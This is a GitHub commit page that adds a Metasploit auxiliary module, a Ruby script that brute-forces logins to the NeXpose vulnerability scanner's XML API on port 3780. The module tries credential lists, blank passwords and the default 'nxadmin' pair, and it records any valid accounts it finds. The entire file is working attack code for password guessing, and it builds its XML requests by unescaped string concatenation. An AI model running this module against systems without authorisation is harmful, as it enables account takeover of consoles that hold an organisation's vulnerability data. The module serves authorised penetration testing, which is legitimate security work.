Skip to content

Commit 0a0195e

Browse files
committed
Merge branch 'kost-aux-scan-nexpose'
2 parents 6ccceed + 24f44e7 commit 0a0195e

File tree

1 file changed

+121
-0
lines changed

1 file changed

+121
-0
lines changed
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# nexpose_api_login.rb
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
14+
class Metasploit3 < Msf::Auxiliary
15+
16+
include Msf::Exploit::Remote::HttpClient
17+
include Msf::Auxiliary::Report
18+
include Msf::Auxiliary::AuthBrute
19+
include Msf::Auxiliary::Scanner
20+
21+
def initialize
22+
super(
23+
'Name' => 'NeXpose API Interface Login Utility',
24+
'Description' => %q{
25+
This module simply attempts to login to a NeXpose API interface using a
26+
specific user/pass.
27+
},
28+
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
29+
'License' => MSF_LICENSE
30+
)
31+
32+
register_options(
33+
[
34+
Opt::RPORT(3780),
35+
OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]),
36+
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
37+
], self.class)
38+
39+
register_advanced_options(
40+
[
41+
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
42+
], self.class)
43+
end
44+
45+
def run_host(ip)
46+
begin
47+
res = send_request_cgi({
48+
'uri' => datastore['URI'],
49+
'method' => 'GET'
50+
}, 25)
51+
http_fingerprint({ :response => res })
52+
rescue ::Rex::ConnectionError => e
53+
vprint_error("#{datastore['URI']} - #{e.to_s}")
54+
return
55+
end
56+
57+
if not res
58+
vprint_error("#{datastore['URI']} - No response")
59+
return
60+
end
61+
if res.code != 200
62+
vprint_error("Did not get 200 for API XML interface")
63+
return
64+
end
65+
66+
each_user_pass do |user, pass|
67+
do_login(user, pass)
68+
end
69+
end
70+
71+
def do_login(user='nxadmin', pass='nxadmin')
72+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
73+
headers = {
74+
'Content-Type' => 'text/xml'
75+
}
76+
data = '<?xml version="1.0" encoding="UTF-8"?><LoginRequest sync-id="1" user-id="' << user << '" password="' << pass << '"></LoginRequest>'
77+
begin
78+
res = send_request_cgi({
79+
'encode' => true,
80+
'uri' => "#{datastore['URI']}",
81+
'method' => 'POST',
82+
'headers' => headers,
83+
'data' => data
84+
}, 25)
85+
86+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
87+
print_error("HTTP Connection Failed, Aborting")
88+
return :abort
89+
end
90+
91+
if not res
92+
print_error("HTTP Connection Error - res, Aborting")
93+
return :abort
94+
end
95+
96+
if res.code != 200
97+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
98+
return :skip_pass
99+
end
100+
101+
if res.code == 200
102+
if res.body =~ /LoginResponse.*success="1"/
103+
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
104+
105+
report_hash = {
106+
:host => datastore['RHOST'],
107+
:port => datastore['RPORT'],
108+
:sname => 'nexpose',
109+
:user => user,
110+
:pass => pass,
111+
:active => true,
112+
:type => 'password'}
113+
114+
report_auth_info(report_hash)
115+
return :next_user
116+
end
117+
end
118+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
119+
return :skip_pass
120+
end
121+
end

0 commit comments

Comments
 (0)